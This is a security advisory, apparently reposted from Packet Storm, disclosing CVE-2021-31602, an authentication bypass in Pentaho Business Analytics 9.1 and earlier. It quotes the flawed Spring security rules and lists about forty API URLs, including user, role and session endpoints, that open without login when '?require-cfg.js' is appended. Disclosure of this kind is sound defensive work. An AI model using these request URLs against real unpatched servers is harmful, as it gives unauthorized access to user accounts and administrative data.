Share
## https://sploitus.com/exploit?id=PACKETSTORM:164784
Product: Pentaho Business Analytics / Pentaho Business Server  
Vendor / Manufacturer: Hitachi Vantara  
Affected Version(s): <= 9.1  
Vulnerability Type: Authentication Bypass of Spring APIs  
Solution Status: Fix Released on public GitHub repository  
Manufacturer Notification: 8th February 2021  
Solution Date: May 2021  
Public Disclosure: 01 November 2021  
CVE Reference: CVE-2021-31602  
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka  
  
--- ### --- ### ---  
  
Product Description:  
  
Pentaho is business intelligence (BI) software that provides data  
integration, OLAP services, reporting, information dashboards, data mining  
and extract, transform, load (ETL) capabilities. Its headquarters are in  
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and  
in 2017 became part of Hitachi Vantara.  
  
( Source: https://en.wikipedia.org/wiki/Pentaho )  
  
--- ### --- ### ---  
  
Vulnerability Details:  
  
The security model of Pentaho Business Analytics consists of different  
layers of Access Control (AC). The applicationContext directives defined in  
the applicationContext-spring-security.xml file were of particular interest  
and further examination of the access control entries revealed the  
following misconfigurations.  
  
--- ~~~ --- ~~~ ---  
<sec:intercept-url pattern="\A/api/.*require-cfg.js.*\Z"  
access="Anonymous,Authenticated" />  
<sec:intercept-url pattern="\A/api/.*require-js-cfg.js.*\Z"  
access="Anonymous,Authenticated" />  
<sec:intercept-url pattern="\A/api/.*\Z" access="Authenticated" />  
--- ~~~ --- ~~~ ---  
  
Specifically, the last directive explicitly declares that the available  
endpoints require that users are authenticated. However, the first and  
second directives bypass this requirement by allowing unauthenticated  
access to arbitrary "/api/*" endpoints when the "?require-cfg.js" URL  
parameter is present. As a result, it is possible for unauthenticated users  
to access arbitrary Pentaho API endpoints by including the  
"?require-cfg.js" or "?require-js-cfg.js" URL parameter as part of the HTTP  
request.  
  
For example, the following URL can be used to retrieve the Pentaho API  
version, http://localhost:8080/pentaho/api/version/show?require-cfg.js  
  
  
--- ### --- ### ---  
  
Proof of Concept (PoC):  
  
See Ginger ( https://github.com/HawSec/ginger )  
  
or  
  
The following is a non-exhaustive list of the Pentaho API endpoints  
susceptible to this vulnerability.  
  
http://localhost:8080/pentaho/api/version/show?require-cfg.js  
http://localhost:8080/pentaho/api/version/softwareUpdates?require-cfg.js  
http://localhost:8080/pentaho/api/emailconfig/isValid?require-cfg.js  
http://localhost:8080/pentaho/api/authorization/action/isauthorized?require-cfg.js  
http://localhost:8080/pentaho/api/userroledao/userRoles?require-cfg.js  
http://localhost:8080/pentaho/api/system/locale?require-cfg.js  
http://localhost:8080/pentaho/api/system/timezones?require-cfg.js  
http://localhost:8080/pentaho/api/system/executableTypes?require-cfg.js  
http://localhost:8080/pentaho/api/theme/list?require-cfg.js  
http://localhost:8080/pentaho/api/theme/active?require-cfg.js  
http://localhost:8080/pentaho/api/userrolelist/users?require-cfg.js  
http://localhost:8080/pentaho/api/userrolelist/roles?require-cfg.js  
http://localhost:8080/pentaho/api/userrolelist/allRoles?require-cfg.js  
http://localhost:8080/pentaho/api/userrolelist/systemRoles?require-cfg.js  
http://localhost:8080/pentaho/api/userrolelist/extraRoles?require-cfg.js  
http://localhost:8080/pentaho/api/userrolelist/permission-users?require-cfg.js  
http://localhost:8080/pentaho/api/userrolelist/permission-roles?require-cfg.js  
http://localhost:8080/pentaho/api/scheduler/state?require-cfg.js  
http://localhost:8080/pentaho/api/scheduler/jobinfotest?require-cfg.js  
http://localhost:8080/pentaho/api/scheduler/blockout/blockoutjobs?require-cfg.js  
http://localhost:8080/pentaho/api/scheduler/blockout/hasblockouts?require-cfg.js  
http://localhost:8080/pentaho/api/scheduler/blockout/shouldFireNow?require-cfg.js  
http://localhost:8080/pentaho/api/scheduler/generatedContentForSchedule?require-cfg.js  
http://localhost:8080/pentaho/api/repos/executableTypes?require-cfg.js  
http://localhost:8080/pentaho/api/plugin-manager/overlays?require-cfg.js  
http://localhost:8080/pentaho/api/mantle/locale?require-cfg.js  
http://localhost:8080/pentaho/api/mantle/isAuthenticated?require-cfg.js  
http://localhost:8080/pentaho/api/mantle/getAdminContent?require-cfg.js  
http://localhost:8080/pentaho/api/mantle/settings?require-cfg.js  
http://localhost:8080/pentaho/api/mantle/registeredPlugins?require-cfg.js  
http://localhost:8080/pentaho/api/service/assignment?require-cfg.js  
http://localhost:8080/pentaho/api/repo/files/reservedCharacters?require-cfg.js  
http://localhost:8080/pentaho/api/repo/files/generatedContentForSchedule?require-cfg.js  
http://localhost:8080/pentaho/api/repo/files/canAdminister?require-cfg.js  
http://localhost:8080/pentaho/api/repo/files/reservedCharactersDisplay?require-cfg.js  
http://localhost:8080/pentaho/api/session/userName?require-cfg.js  
http://localhost:8080/pentaho/api/session/workspaceDirForUser/{user}?require-cfg.js  
http://localhost:8080/pentaho/api/session/setredirect?require-cfg.js  
http://localhost:8080/pentaho/api/session/userWorkspaceDir?require-cfg.js  
  
--- ### --- ### ---  
  
  
Credits:  
  
This vulnerability was discovered by Alberto Favero & Altion Malka  
  
--- ### --- ### ---  
  
  
  
  
--   
BlackHawk - hawkgotyou@gmail.com  
  
Experientia senum, agilitas iuvenum.  
Adversa fortiter. Dubia prudenter.